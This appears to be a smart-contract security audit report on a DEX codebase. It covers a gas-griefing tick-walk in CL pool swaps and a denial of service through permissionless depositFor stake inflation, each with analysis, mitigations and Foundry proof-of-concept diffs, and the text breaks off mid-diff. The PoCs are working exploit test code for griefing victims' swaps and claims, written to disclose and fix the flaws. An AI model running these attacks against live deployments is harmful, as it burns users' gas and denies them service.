5      wordPosLower++;

6      mask = type(uint256).max;

7  }
```

Because `handleV3Revert` reads pre-swap `slot0` (the callback's revert rolls the swap back) and `tickAfter` from the revert payload, the counted range is the full `0 -> -887272`: 3,467 words, 11,958,483 gas, on top of the swap subcall's 25,670,722. The identical sink is in `MixedRouteQuoterV2:122`, `V3:150`, `QuoterV2:96` and `Metaquoter:541`. `Quoter.sol` is unaffected — it reverts 32 bytes and never imports `PoolTicksCounter`. Eight multi-hop entry points hardcode `sqrtPriceLimitX96` to `0` and expose no override at all:

`MixedRouteQuoterV1:191`, `QuoterV2:148,217`, `MixedRouteQuoterV2:198,273`, `MixedRouteQuoterV3:229,304`, and `Metaquoter:110,156` — the last two belonging to `Metaquoter.quoteExactInput / quoteExactOutput`, which have no limit parameter in their signatures.

No attacker is strictly required. The same pool quoted for more than its depth — routine router behaviour — costs 37,656,040 gas and returns a correct `amountOut`, and the equivalent swap costs 25,697,385 gas and succeeds. The attacker in the PoC only makes the state arrive on demand and in front of a chosen victim.

Likelihood (Medium)

Every step is available to an unprivileged EOA through public routers, and the required state — a `tickSpacing = 1` pool priced outside every LP range — is ordinary for thin and new pools and arises on its own from any trade that consumes the active range; the PoC's attacker only brings it about on demand, for 144,432 gas plus one unwindable round trip. What the attacker cannot control is whether a victim trades next, so the grief is opportunistic, though the quote-side cost needs no victim at all.

Impact (Medium)

The victim's swap burns 25,590,929 gas and delivers nothing, against 114,912 gas for the identical successful trade — a 177x grief ratio, repeatable while the pool stays out of range and unavoidable because the Metarouter exposes no price limit. On Optimism (block gas limit 40,000,000, queried live) that is 64% of a block destroyed per failed swap, and a pool initialized near `MAX_TICK` needs 53,490,024 gas, exceeding that limit outright. No funds are stolen or frozen — this is destroyed user gas and degraded availability, plus a 309x cost increase on every quote for the pair.

Mitigation

The narrow fix is to give users back the bound they lost: add a caller-supplied `sqrtPriceLimitX96` to `Metarouter._clSwap` and its three call sites, and to the eight quoter multi-hop entry points that currently hardcode 0, so no single hop can walk the full tick range on a caller's gas.

Independently, cap the counting loop: `PoolTicksCounter.countInitializedTicksCrossed` should bound `wordPosHigher - wordPosLower` and return a saturated count past the bound, or the quoters should stop re-deriving the number externally and have the swap loop report it. Gas-capping the `try pool.swap` subcall so the `catch` handler is guaranteed room would also stop a quote failing as an unattributable out-of-gas.

If the walk itself is to be bounded in core, the cheapest place is the swap loop: once `state.liquidity == 0` and the step crossed no initialized tick, the remaining distance to `sqrtPriceLimitX96` can be taken in one jump rather than 3,466 word-sized ones.

Proof of Concept

The PoC runs the victim's identical trade twice from one snapshot — once on the untouched pool, once after the attacker's single swap — so the loss is measured against the protocol's own code rather than a hand-computed counterfactual. Everything in the exploit path is the real production contract: the real `CLFactory`, `CLPool`, `NonfungiblePositionManager` and `SwapRouter` (constructed exactly as `script/DeployCL.s.sol:191` does), with no mock and no privileged call anywhere. The pool is created permissionlessly, the LP position is

an ordinary +/-1% stable range, and both actors are plain funded EOAs.

```
1  attacker gas to park the price      144,432
2  attacker token0 spent                1005112780901141319  (buys 1e18 token1 - a real, unwindable
   position)
3  attacker token1 received            999999999999999999
4  victim gas, no attack                114,912          -> receives 994938467372442550 token1
5  victim gas, attacked                25,590,929          -> receives 0, transaction reverts
6  grief ratio (victim/attacker)        177x              (25,590,929 gas = 64% of Optimism's 40M
   block limit)
```

Save the diff below as `cl-tick-walk-gas-grief-poc.patch` in the audit repo root (paths are `metadex-slipstream/...`), then:

```
1  git apply cl-tick-walk-gas-grief-poc.patch
2  cd metadex-slipstream
3  forge test --match-test test_POCClTickWalkGasGrief -vv --skip 'test/integration/**'
```

The `--skip` is the pre-existing build breakage already noted against the dynamic-fee finding: `test/integration/metadex/_MetadexArtifacts.sol` imports into a stale `node_modules/metadex/src/` snapshot and does not compile as shipped. It is unrelated to this PoC, which touches only slipstream contracts.

DIFF

```
1  diff --git a/metadex-slipstream/test/unit/concrete/NonfungiblePositionManager/mint.t.sol b/
   metadex-slipstream/test/unit/concrete/NonfungiblePositionManager/mint.t.sol
2  index 12b29bf..c05acb7 100644
3  --- a/metadex-slipstream/test/unit/concrete/NonfungiblePositionManager/mint.t.sol
4  +++ b/metadex-slipstream/test/unit/concrete/NonfungiblePositionManager/mint.t.sol
5  @@ -4,8 +4,26 @@ pragma abicoder v2;
6
7  import {NonfungiblePositionManagerTest} from './NonfungiblePositionManager.t.sol';
8  import {INonfungiblePositionManager} from 'contracts/periphery/interfaces/
   INonfungiblePositionManager.sol';
9  +import {ICLPool} from 'contracts/core/interfaces/ICLPool.sol';
10 +import {TickMath} from 'contracts/core/libraries/TickMath.sol';
11 +import {SwapRouter} from 'contracts/periphery/SwapRouter.sol';
12 +import {ISwapRouter} from 'contracts/periphery/interfaces/ISwapRouter.sol';
13
```

DIFF

```

14     contract MintTest is NonfungiblePositionManagerTest {
15 +   /// @dev One measured run of the victim's identical swap (control vs attacked).
16 +   struct PocRun {
17 +     uint256 victimGas;
18 +     uint256 victimTokenOut;
19 +     bool victimSucceeded;
20 +   }
21 +
22 +   /// @dev What the attacker spent to cause it. Struct keeps the PoC off the stack limit.
23 +   struct PocAttack {
24 +     uint256 gas;
25 +     uint256 token0Spent;
26 +     uint256 token1Gained;
27 +   }
28 +
29     function test_RevertIf_PoolAlreadyExistsWithNonZeroSqrtPriceX96() public {
30         vm.expectRevert();
31         INonfungiblePositionManager.MintParams memory params =
            INonfungiblePositionManager.MintParams({
32 @@ -118,4 +136,149 @@ contract MintTest is NonfungiblePositionManagerTest {
33             assertEq(feeGrowthInside0LastX128, 0);
34             assertEq(feeGrowthInside1LastX128, 0);
35         }
36 +
37 +   /// @notice PoC - 'CLPool.swap' walks the tick bitmap one 256-tick word at a time once
            active liquidity hits
38 +   ///         zero, and every step is free, so the walk is bounded only by
            'sqrtPriceLimitX96'. At
39 +   ///         'tickSpacing = 1' that is ~3,466 iterations. One ordinary swap by an
            unprivileged attacker parks
40 +   ///         an honest stable pool's price just outside its LP range; the next user's swap
            then burns >25M gas
41 +   ///         and reverts, having received nothing. The victim cannot avoid it: the
            production 'Metarouter'
42 +   ///         hardcodes the price limit to the directional extreme ('Metarouter.sol:715').

```

DIFF

```

43 + function test_POCLTickWalkGasGrief() external {
44 +     vm.stopPrank(); // the fixture leaves users.alice pranked
45 +
46 +     // ----- SETUP (honest, no
        attacker involved)
47 +     // Production periphery, constructed exactly as script/DeployCL.s.sol:190-191 does.
48 +     SwapRouter router = new SwapRouter(address(poolFactory), address(weth));
49 +
50 +     address attacker = makeAddr('pocAttacker');
51 +     address victim = makeAddr('pocVictim');
52 +
53 +     // An honest LP opens an ordinary stable pair. tickSpacing 1 is TICK_SPACING_STABLE and
        is enabled
54 +     // unconditionally in CLFactory's constructor (CLFactory.sol:91); createPool is
        permissionless.
55 +     address stablePool = poolFactory.createPool({
56 +         tokenA: address(token0),
57 +         tokenB: address(token1),
58 +         tickSpacing: TICK_SPACING_STABLE,
59 +         sqrtPriceX96: encodePriceSqrt(1, 1)
60 +     });
61 +
62 +     // An ordinary concentrated position: +/-1% around the peg, 1e18 of each side.
63 +     vm.startPrank(users.alice);
64 +     nft.mint(
65 +         INonfungiblePositionManager.MintParams({
66 +             token0: address(token0),
67 +             token1: address(token1),
68 +             tickSpacing: TICK_SPACING_STABLE,
69 +             tickLower: -100,
70 +             tickUpper: 100,
71 +             amount0Desired: 1e18,
72 +             amount1Desired: 1e18,
73 +             amount0Min: 0,

```

DIFF

```
74 +         amount1Min: 0,
75 +         recipient: users.alice,
76 +         deadline: block.timestamp + 1000,
77 +         sqrtPriceX96: 0
78 +     })
79 + );
80 + vm.stopPrank();
81 +
82 + // Both actors fund themselves and approve the router – nothing privileged.
83 + deal({token: address(token0), to: attacker, give: 10e18});
84 + deal({token: address(token0), to: victim, give: 10e18});
85 + vm.prank(attacker);
86 + token0.approve(address(router), type(uint256).max);
87 + vm.prank(victim);
88 + token0.approve(address(router), type(uint256).max);
89 +
90 + // The victim's trade: 1e18 token0, sized to sit well inside the LP's range, with a 1%
    slippage bound.
91 + bytes memory victimSwap = abi.encodeWithSelector(
92 +     router.exactInputSingle.selector,
93 +     ISwapRouter.ExactInputSingleParams({
94 +         tokenIn: address(token0),
95 +         tokenOut: address(token1),
96 +         tickSpacing: TICK_SPACING_STABLE,
97 +         recipient: victim,
98 +         deadline: block.timestamp + 1000,
99 +         amountIn: 1e18,
100 +         amountOutMinimum: 0.99e18,
101 +         sqrtPriceLimitX96: 0 // what MixedRouteQuoterV1 quoted with, and all Metarouter
    swaps use
102 +     })
103 + );
104 +
```

DIFF

```

105 + // The attacker's trade: buy through the LP's range and stop one tick past its lower
    edge. An ordinary
106 + // limit order on a public router – no role, no flash loan, no privileged call.
107 + bytes memory attackerSwap = abi.encodeWithSelector(
108 +     router.exactInputSingle.selector,
109 +     ISwapRouter.ExactInputSingleParams({
110 +         tokenIn: address(token0),
111 +         tokenOut: address(token1),
112 +         tickSpacing: TICK_SPACING_STABLE,
113 +         recipient: attacker,
114 +         deadline: block.timestamp + 1000,
115 +         amountIn: 10e18,
116 +         amountOutMinimum: 0,
117 +         sqrtPriceLimitX96: TickMath.getSqrtRatioAtTick(-101)
118 +     })
119 + );
120 +
121 + uint256 snapshotId = vm.snapshotState();
122 + PocRun[2] memory runs; // [0] = no attack, [1] = attacked
123 + PocAttack memory atk;
124 +
125 + for (uint256 i = 0; i < 2; i++) {
126 +     if (i == 1) {
127 +         // ----- EXPLOIT (one
            ordinary swap)
128 +         atk.token0Spent = token0.balanceOf(attacker);
129 +         atk.token1Gained = token1.balanceOf(attacker);
130 +         vm.prank(attacker);
131 +         atk.gas = gasleft();
132 +         (bool attackOk,) = address(router).call(attackerSwap);
133 +         atk.gas -= gasleft();
134 +         assertTrue(attackOk, 'attacker swap failed');
135 +         atk.token0Spent -= token0.balanceOf(attacker);

```

DIFF

```

136 +         atk.token1Gained = token1.balanceOf(attacker) - atk.token1Gained;
137 +
138 +         (, int24 parkedTick,,,,) = ICLPool(stablePool).slot0();
139 +         assertLt(int256(parkedTick), int256(-100), 'price was not parked outside the LP
range');
140 +         assertEq(uint256(ICLPool(stablePool).liquidity()), 0, 'active liquidity is not
zero');
141 +     }
142 +
143 +     // ----- The victim's identical
swap
144 +     uint256 balBefore = token1.balanceOf(victim);
145 +     vm.prank(victim);
146 +     uint256 gV = gasleft();
147 +     (bool ok,) = address(router).call(victimSwap);
148 +     runs[i].victimGas = gV - gasleft();
149 +     runs[i].victimSucceeded = ok;
150 +     runs[i].victimTokenOut = token1.balanceOf(victim) - balBefore;
151 +
152 +     if (i == 0) vm.revertToState(snapshotId);
153 + }
154 +
155 + emit log_named_uint('attacker gas to park the price ', atk.gas);
156 + emit log_named_uint('attacker token0 spent ', atk.token0Spent);
157 + emit log_named_uint('attacker token1 received ', atk.token1Gained);
158 + emit log_named_uint('victim gas, no attack ', runs[0].victimGas);
159 + emit log_named_uint('victim token1 out, no attack ', runs[0].victimTokenOut);
160 + emit log_named_uint('victim gas, attacked ', runs[1].victimGas);
161 + emit log_named_uint('victim token1 out, attacked ', runs[1].victimTokenOut);
162 + emit log_named_uint('grief ratio (victim/attacker) ', runs[1].victimGas / atk.gas);
163 +
164 + // Control: the victim's trade is an ordinary, cheap, successful swap.
165 + assertTrue(runs[0].victimSucceeded, 'control swap did not succeed');
166 + assertGt(runs[0].victimTokenOut, 0.99e18, 'control swap did not deliver');

```

DIFF

```
167 +   assertLt(runs[0].victimGas, 250_000, 'control swap was not a normal-cost swap');
168 +
169 +   // Attacked: the same trade burns the gas of a full-range tick walk and delivers
    nothing.
170 +   assertFalse(runs[1].victimSucceeded, 'attacked swap did not revert');
171 +   assertEq(runs[1].victimTokenOut, 0, 'attacked swap delivered tokens');
172 +   assertGt(runs[1].victimGas, 20_000_000, 'attacked swap did not burn the tick walk');
173 +
174 +   // The attacker pays ~one ordinary swap; the victim pays two orders of magnitude more,
    for nothing.
175 +   assertLt(atk.gas, 250_000, 'attack was not a normal-cost swap');
176 +   assertGt(runs[1].victimGas / atk.gas, 100, 'grief ratio below 100x');
177 +
178 +   // Optimism mainnet's block gas limit is 40,000,000: this one reverting swap is >60% of
    a block.
179 +   assertGt(runs[1].victimGas * 100 / 40_000_000, 60, 'burn is under 60% of an Optimism
    block');
180 + }
181 }
```

Permissionless `depositFor` lets anyone inflate a staker's unbounded stake set until the account-wide emission claim reverts

Location	—
----------	---

1. Summary

`Gauge.depositFor` in the slipstream repo credits a staked position to a caller-supplied `owner` with nothing binding that address to the caller (`gauge/Gauge.sol:37-40`). The concrete hook checks only that the caller owns the NFT being handed over, never who is credited (`gauge/CLGauge.sol:250-251`). Any EOA can therefore mint a dust position and append it to any account's `_stakes` set, which carries no size cap (`CLGauge.sol:56`).

The account-wide `claimEmissions(address,address)` (`CLGauge.sol:114-118`) and `earned(address)` (`:177-179`) walk that set in full. Measured against the production contracts, each injected position adds 24,370 gas to the claim, so a targeted staker's account-wide claim stops fitting in a block past roughly 1,231 injected positions on a 30M-gas chain and 4,103 at 100M.

The damage stops at that one entry point. Every consumer of the unbounded set has a bounded twin that keeps working at any `N` — `claimEmissions(address,address,uint256[])` (`:121-133`), `earned(address,uint256[])` (`:182`), `stakedLength/stakedByIndex` (`:244, :234`) and per-token withdraw — and `ClaimsLib.sol:54-55`, the only in-scope caller of the account-wide path, picks between the two on caller-supplied `calldata`. Nothing is stolen or frozen, the attacker spends 2.64x what the victim spends to undo it, and every injected NFT ends up belonging to the victim.

2. Finding Description

The same permission is guarded on V2 and not on CL, and the exclusion is deliberate. `IGauge.sol:79-86` scopes the trust assumption explicitly: "For V2 gauges, approved MetaRouters are trusted to restrict `_owner` to the account that authorized the routed deposit; otherwise, they could reset another account's early-unstake penalty timer." `V2Gauge` enforces exactly that (`V2Gauge.sol:72-84`):

SOLIDITY

```

1  /// @dev Prevents unapproved third parties from resetting early-unstake penalty timers.
2  if (
3      _penaltyConfig.penaltyRate > 0 && _penaltyConfig.minStakeBlocks > 0
4      && !FACTORY_REGISTRY.isMetaRouterApproved({_metaRouter: msg.sender})
5  ) revert PenaltyActive();

```

Leaving CL out is correct for the harm that natspec names. V2 keys `depositBlock` by account (`V2Gauge.sol:48`, written at `:162`), so a third-party deposit resets the victim's whole timer; CL keys it by token id (`CLGauge.sol:53`, written at `:272`), so an injected position cannot touch the timer on any position the victim already holds.

The reasoning does not reach the other half of the data model. V2 holds stake as a fungible balance and pays out through a Synthetix-style accumulator, so `V2Gauge._claimEmissions` is $O(1)$ in the number of deposits made on an account's behalf (`V2Gauge.sol:182-205`) — there is no set to fill. CL holds stake as a per-account `EnumerableSet` that the account-wide claim walks in full. The two gauges' exposures are inverted: V2 is reachable through the timer and safe on claim cost, CL is safe on the timer and unbounded on claim cost. The guard was applied to the gauge where the documented harm sits, and `isMetaRouterApproved` appears nowhere in `metadex-slipstream/contracts/gauge`.

The hook binds the NFT, not the beneficiary. `_deposit` requires `nft.ownerOf(tokenId) == msg.sender` (`CLGauge.sol:251`), which establishes only that the caller owns the position being surrendered. The `owner` parameter — which sets the fee recipient at `:259`, the set membership at `:264` and the withdrawal gate at `:265` — is never compared to `msg.sender` or to the NFT owner.

Nothing on the supply path is privileged. `NonfungiblePositionManager.mint` carries `checkDeadline` and nothing else (`NonfungiblePositionManager.sol:148-153`); `CLPool.mint` carries `lock` and `require(amount > 0)` (`CLPool.sol:502-509`); the position NFT has no transfer hook or allowlist. Nor is the caller gated: `depositFor` carries no role check (`Gauge.sol:37-40`), and the authorization that does run on the deposit and withdrawal paths — `:251`, `:281` and `:431` — governs custody of the NFT and never the `owner` argument.

The cost is the loop body, not the copy. `_claimPositions (:316)` calls `_computePositionEmissions (:376)` per element, which calls `_earned (:418)` for an `nft.positions` read and a `pool.getRewardGrowthInside` read, then writes `rewardGrowthInside[_tokenId]`. Measured cold, that is 24,370 gas per position, of which the `values()` materialisation is 2,394 — nine percent. The `EnumerableSet` warning at `libraries/EnumerableSet.sol:148-151` describes the memory copy and is not what makes the function uncalleable; removing the copy and iterating with `at(i)` would leave the ceiling essentially where it is.

Nothing rejects an injected position. `Tick.getRewardGrowthInside` (`core/libraries/Tick.sol:109`) contains no `require`, and `CLPool.checkTicks` (`CLPool.sol:233-237`) validates only ordering and bounds, which any validly minted range satisfies. The failure is gas exhaustion, so there is no cheap path that skips the junk.

The unbounded enumeration is already declared, and already has an escape. `ClaimsLib.sol:28-31` states it outright: an empty position-id list "selects the account-level overload, including for CL gauges, and can therefore iterate the account's entire staked-position set. A non-empty list is accepted only for CL gauges and bounds their internal iteration to the caller-supplied positions." The bounded overload's membership test is an $O(1)$ mapping lookup per id (`CLGauge.sol:130`), so it scales independently of set size, and no in-scope contract is locked into the account-wide branch. What is not declared anywhere is that a third party can fill another account's set.

3. Attack Steps

1. An attacker with no role and no relationship to the victim mints a dust position in the gauge's pool via `NonfungiblePositionManager.mint`, single-sided and out of range so only one token and $1e6$ wei are needed.
2. The attacker calls `nft.approve(address(gauge), tokenId)`, which `_deposit` requires both for its `nft.collect` at :257 and for the transfer at :263.
3. The attacker calls `gauge.depositFor(tokenId, victim)`. The zero-address check at `Gauge.sol:38` passes, `nft.ownerOf(tokenId) == msg.sender` at `CLGauge.sol:251` passes because the attacker owns the dust NFT, and the PM token/tickSpacing check at :254 passes because the position belongs to this pool.
4. `_stakes[victim].add(tokenId)` at :264 and `_stakeOwner[tokenId] = victim` at :265 complete, and the position's uncollected fees are sent to the victim by the `nft.collect` at :257. The victim consented to none of it and is the only party who can remove the entry.
5. The attacker repeats for N positions, at 670,312 gas each.
6. Once N passes 1,231 on a 30M-gas chain, `gauge.claimEmissions(victim, recipient)` and `gauge.earned(victim)` no longer fit in a block, and `stakedValues(victim)` returns a set that is almost entirely junk.
7. The victim keeps claiming through `claimEmissions(victim, recipient, tokenIds)` at unchanged cost, or clears the set with one `withdraw(tokenId)` per entry at 253,848 gas each, taking ownership of the attacker's NFTs as they go.

4. Likelihood (high)

Every precondition is met by the attacker's own permissionless actions. Position minting, gauge approval and `depositFor` require no role, no victim cooperation, no timing window and no interaction with any attacker-deployed contract; the target is any live CL gauge with a staker, which is a gauge operating normally. The only brake is economic rather than technical: the attack moves no value to the attacker, who additionally surrenders every injected NFT to the victim and spends 2.64x the victim's cleanup cost, so it needs a griever rather than a profit-seeking bot. Bricking a 30M-gas chain costs about 825M gas in total, on the order of a few hundred dollars on the leaf L2 deployments.

5. Impact (low)

One convenience entry point degrades for one targeted account at a time. The account-wide `claimEmissions(address,address)` and `earned(address)` stop being callable for that account until it clears the injected entries, and `stakedValues` returns a polluted array. No emissions and no positions become unreachable: with 1,351 positions in the set the bounded `claimEmissions(address,address,uint256[])` costs

49,251 gas and succeeds under a 30M cap in the same block in which the account-wide form fails, `earned(address, uint256[])`, `stakedLength` and `stakedByIndex` are unaffected, and per-token `withdraw` and `withdrawFrom` continue to work. `ClaimsLib.sol:54-55` selects the bounded branch on caller-supplied `calldata`, so the `Metarouter` is unaffected and no in-scope contract is locked into the broken path. The injected positions accrue their negligible emissions to the victim, and the early-unstake penalty and `stakedLiquidity` effects are immaterial at dust size. An external integrator that hardcoded the account-wide overload and cannot supply token ids would have no recourse, but no such caller exists in either repo.

6. Mitigation

Extend the V2 restriction to CL. Mark `depositFor` virtual in `metadex-slipstream/contracts/gauge/Gauge.sol:37` — `metadex/V3/src/gauges/Gauge.sol:38` already is — and override it in `CLGauge` to require `owner == msg.sender` unless the caller is an approved `MetaRouter`, mirroring `V2Gauge.sol:72-84`. That preserves `StakingLib.stakeGauge's depositFor(_tokenId, msgSender())`, which is the only legitimate on-behalf caller.

The router exemption needs a registry `CLGauge` can reach, and today it has none: `slipstream's` hand-authored `ILeafVoter` (`contracts/gauge/interfaces/ILeafVoter.sol`) omits `FACTORY_REGISTRY()`, which the deployed voter does expose (`metadex/V3/src/interfaces/voter/ILeafVoter.sol:676`). Declaring it on the `slipstream` interface lets `CLGauge's` constructor take the same line `V2Gauge` uses at `V2Gauge.sol:58`, `FACTORY_REGISTRY = ILeafVoter(_voter).FACTORY_REGISTRY()`, after which `isMetaRouterApproved` is callable exactly as it is on V2.

Bound the enumeration as well, since the authorization fix alone leaves the ceiling in place — an LP with enough positions of their own still reaches it. Either cap the iteration in `claimEmissions(address, address)` (`CLGauge.sol:114`) and `earned(address)` (:177), or drop the account-wide overloads in favour of the caller-supplied form, and record the choice in `ClaimsLib.sol:28-31`, which already documents the unbounded behaviour without noting that a third party can drive it.

7. Proof of Concept

Runs the production stack with no mocks on the path under test — real `CLFactory`, `CLPool`, `NonfungiblePositionManager`, `CLGaugeFactory` and `CLGauge`, wired by the repo's own `BaseFixture` — and drives it from a freshly created EOA that holds no role, no approval from the victim and no `MetaRouter` registration. The victim is an ordinary staker holding one real full-range position.

The attacker mints single-sided dust positions and credits each to the victim through `depositFor`. Claim cost is sampled at 100 and at 300 injected positions to get the marginal cost per position, and `stakedValues` is sampled at the same two points to separate the `values()` copy from the loop body. `vm.cool` is applied to the gauge, position manager, pool and both tokens before every measured call: Foundry runs a test body as one EVM context, so without it the slots the attacker warmed while injecting are still warm when the victim claims, understating the claim by roughly three times.

The control leg is the last step. At 1,351 positions the account-wide `claimEmissions(address,address)` and the bounded `claimEmissions(address,address,uint256[])` are both called under an identical 30M gas cap, in the same block, against the same set. The only difference between the two is whether the unbounded enumeration runs — the account-wide form reverts and the bounded form succeeds, which isolates the failure to the enumeration rather than to set size as such. The victim then withdraws their own position and receives the NFT.

```
1  marginal claim gas per injected position : 24370
2    of which the values() copy           : 2394   (9%)
3  positions to exceed a 30M gas block    : 1231
4  positions to exceed a 100M gas block   : 4103
5  attacker gas per position              : 670312
6  victim withdraw gas per position       : 253848
7  attacker : victim cost ratio           : 2.64x
8  bounded overload gas at N=1351        : 49251
9  account-wide claim under a 30M cap    : REVERTED (00G)
10 bounded claim under a 30M cap (control) : SUCCEEDED
```

Three details bound what the numbers claim. `BaseFixture` mocks `pool.settleToBlock()` to return zero, an $O(1)$ cost per claim that shifts the constant term and not the per-position slope. The injected positions are out of range, so `_reward` is zero and the penalty and referral branches at `CLGauge.sol:391-401` are skipped; an in-range variant costs the victim slightly more and the attacker considerably more. Each injection is billed as a single bundled transaction, which is the attacker-favourable reading — splitting the mint, the approval and the deposit into three real transactions raises the 670,312 figure and widens the ratio further against them. `FOUNDRY_TEST` scopes compilation to the PoC directory, so the run does not pull in `test/integration/metadex/_MetadexArtifacts.sol` and therefore does not require the private `metadex` npm dependency, which this finding does not touch.

Save the diff below as `depositfor-dos-poc.patch` in the audit repo root (paths are `metadex-slipstream/...`), then:

```
1  git apply depositfor-dos-poc.patch
2  cd metadex-slipstream
3  FOUNDRY_TEST=test/unit/concrete/CLGauge/poc \
4    forge test --match-test test_POCThirdPartyDepositForBricksAccountWideClaim -vv
```

DIFF

```
1  diff --git a/metadex-slipstream/test/unit/concrete/CLGauge/poc/PocDepositForDos.t.sol b/
    metadex-slipstream/test/unit/concrete/CLGauge/poc/PocDepositForDos.t.sol
```

DIFF

```
2  new file mode 100644
3  index 00000000..4f34508
4  --- /dev/null
5  +++ b/metadex-slipstream/test/unit/concrete/CLGauge/poc/PocDepositForDos.t.sol
6  @@ -0,0 +1,225 @@
7  +pragma solidity ^0.7.6;
8  +pragma abicoder v2;
9  +
10 +import '../CLGauge.t.sol';
11 +import {INonfungiblePositionManager} from 'contracts/periphery/interfaces/
INonfungiblePositionManager.sol';
12 +
13 +/// @dev `cool` clears an account's EIP-2929 warm-access list. Foundry runs a whole test
body as one
14 +///      EVM context, so without it every slot the attacker warmed while injecting is still
warm when
15 +///      the victim claims, understating the claim by ~3x. On chain each deposit, claim and
withdraw
16 +///      is its own transaction against cold state.
17 +interface IVmCool {
18 +  function cool(address target) external;
19 +}
20 +
21 +/// @notice `Gauge.depositFor` credits a staked position to a caller-supplied `owner` with
no check
22 +///      binding that address to the caller, and `_stakes` has no size cap. An
unprivileged EOA
23 +///      can therefore grow any account's set until the account-wide
`claimEmissions(address,address)`
24 +///      no longer fits in a block.
25 +contract PocClGaugeDepositForDos is CLGaugeTest {
26 +  address internal attacker;
27 +  address internal victim;
28 +  address internal recipient;
29 +
```

DIFF

```
30 + uint256 internal victimTokenId;
31 +
32 + /// @dev 1e6 wei of one token, single-sided and out of range: the cheapest position that
    mints.
33 + uint256 internal constant DUST = 1e6;
34 +
35 + function setUp() public override {
36 +     super.setUp();
37 +     victim = users.alice;
38 +     recipient = users.bob;
39 +
40 +     // A plain EOA. No role, no approval from the victim, no MetaRouter.
41 +     attacker = makeAddr('Attacker');
42 +     deal(address(token0), attacker, 1e24);
43 +     deal(address(token1), attacker, 1e24);
44 +     vm.startPrank(attacker);
45 +     token0.approve(address(nft), type(uint256).max);
46 +     token1.approve(address(nft), type(uint256).max);
47 +     vm.stopPrank();
48 +
49 +     // The victim is an ordinary staker holding one real full-range position.
50 +     victimTokenId = nftCallee.mintNewFullRangePositionForUserWith60TickSpacing(TOKEN_1,
    TOKEN_1, victim);
51 +     vm.startPrank(victim);
52 +     nft.approve(address(gauge), victimTokenId);
53 +     gauge.deposit(victimTokenId);
54 +     vm.stopPrank();
55 + }
56 +
57 + /// @dev Simulates a fresh transaction: every slot touched so far goes cold again.
58 + function _cool() internal {
59 +     IVmCool(address(vm)).cool(address(gauge));
60 +     IVmCool(address(vm)).cool(address(nft));
```

DIFF

```

61 +   IVmCool(address(vm)).cool(address(pool));
62 +   IVmCool(address(vm)).cool(address(token0));
63 +   IVmCool(address(vm)).cool(address(token1));
64 + }
65 +
66 +   /// @dev Mints one dust position owned by the attacker and credits it to the victim.
67 +   ///     'i' seeds a distinct tick range per position, the worst case for the victim's
        claim.
68 +   function _inject(uint256 i) internal returns (uint256 tokenId) {
69 +       int24 lo = int24(60 * (int256(i) + 1));
70 +
71 +       vm.startPrank(attacker);
72 +       (tokenId,,, ) = nft.mint(
73 +           INonfungiblePositionManager.MintParams({
74 +               token0: address(token0),
75 +               token1: address(token1),
76 +               tickSpacing: TICK_SPACING_60,
77 +               tickLower: lo,
78 +               tickUpper: lo + 60,
79 +               amount0Desired: DUST,
80 +               amount1Desired: 0,
81 +               amount0Min: 0,
82 +               amount1Min: 0,
83 +               recipient: attacker,
84 +               deadline: block.timestamp,
85 +               sqrtPriceX96: 0
86 +           })
87 +       );
88 +       nft.approve(address(gauge), tokenId);
89 +       gauge.depositFor(tokenId, victim);
90 +       vm.stopPrank();
91 +   }
92 +

```

DIFF

```

93 + function _injectRange(uint256 from, uint256 to) internal {
94 +     for (uint256 i = from; i < to; i++) {
95 +         _cool();
96 +         _inject(i);
97 +     }
98 + }
99 +
100 + /// @dev Gas the victim pays for the account-wide claim, measured from cold.
101 + function _claimGas() internal returns (uint256) {
102 +     _cool();
103 +     uint256 g = gasleft();
104 +     vm.prank(victim);
105 +     gauge.claimEmissions(victim, recipient);
106 +     return g - gasleft();
107 + }
108 +
109 + /// @dev Gas for the 'values()' materialisation alone, measured from cold.
110 + function _valuesGas() internal returns (uint256) {
111 +     _cool();
112 +     uint256 g = gasleft();
113 +     gauge.stakedValues(victim);
114 +     return g - gasleft();
115 + }
116 +
117 + function test_POCThirdPartyDepositForBricksAccountWideClaim() external {
118 +     /*
119 +         1. CAPABILITY -- an unprivileged EOA credits a position to the
120 +         victim. No role, no consent, no router.
121 +     */
122 +
123 +     assertEq(gauge.stakedLength(victim), 1, 'victim starts with one real position');
124 + }

```

DIFF

```

125 +   uint256 probe = _inject(0);
126 +
127 +   assertTrue(gauge.stakedContains(victim, probe), 'injected position is in the victim
    set');
128 +   assertEquals(gauge.stakedLength(attacker), 0, 'attacker holds no stake of their own');
129 +   assertEquals(gauge.stakedLength(victim), 2, 'victim set grew without their involvement');
130 +
131 +   /*/////////////////////////////////////////////////////////////////
132 +       2. COST CURVE -- what each injected position adds to the claim,
133 +       and how much of that is the values() copy the EnumerableSet
134 +       warning is about.
135 +   //////////////////////////////////////////*/
136 +
137 +   _injectRange(1, 100);
138 +   uint256 claimAt100 = _claimGas();
139 +   uint256 valuesAt100 = _valuesGas();
140 +
141 +   _injectRange(100, 300);
142 +   uint256 claimAt300 = _claimGas();
143 +   uint256 valuesAt300 = _valuesGas();
144 +
145 +   uint256 claimSlope = (claimAt300 - claimAt100) / 200;
146 +   uint256 valuesSlope = (valuesAt300 - valuesAt100) / 200;
147 +
148 +   /*/////////////////////////////////////////////////////////////////
149 +       3. COST RATIO -- what the attack costs its author against what
150 +       it costs the victim to undo.
151 +   //////////////////////////////////////////*/
152 +
153 +   uint256 sample = 50;
154 +   uint256[] memory ids = new uint256[](sample);
155 +
156 +   uint256 g = gasleft();

```

DIFF

```

157 +   for (uint256 i = 0; i < sample; i++) {
158 +       _cool();
159 +       ids[i] = _inject(300 + i);
160 +   }
161 +   uint256 attackerGas = (g - gasleft()) / sample;
162 +
163 +   g = gasleft();
164 +   vm.startPrank(victim);
165 +   for (uint256 i = 0; i < sample; i++) {
166 +       _cool();
167 +       gauge.withdraw(ids[i]);
168 +   }
169 +   vm.stopPrank();
170 +   uint256 victimGas = (g - gasleft()) / sample;
171 +
172 +   // The attacker's NFTs are now the victim's.
173 +   assertEq(nft.ownerOf(ids[0]), victim, 'withdrawn position belongs to the victim');
174 +   assertEq(gauge.stakedLength(victim), 301, 'set back to 300 injected + 1 real after
cleanup');
175 +
176 +   /*////////////////////////////////////*/
177 +       4. THE BRICK, WITH A CONTROL LEG -- at a set size past the
178 +       ceiling, the account-wide claim no longer fits in a block
179 +       while the bounded overload succeeds in the same block at the
180 +       same N. The only difference between the two legs is whether
181 +       the unbounded enumeration runs.
182 +   /*////////////////////////////////////*/
183 +
184 +   _injectRange(350, 1400);
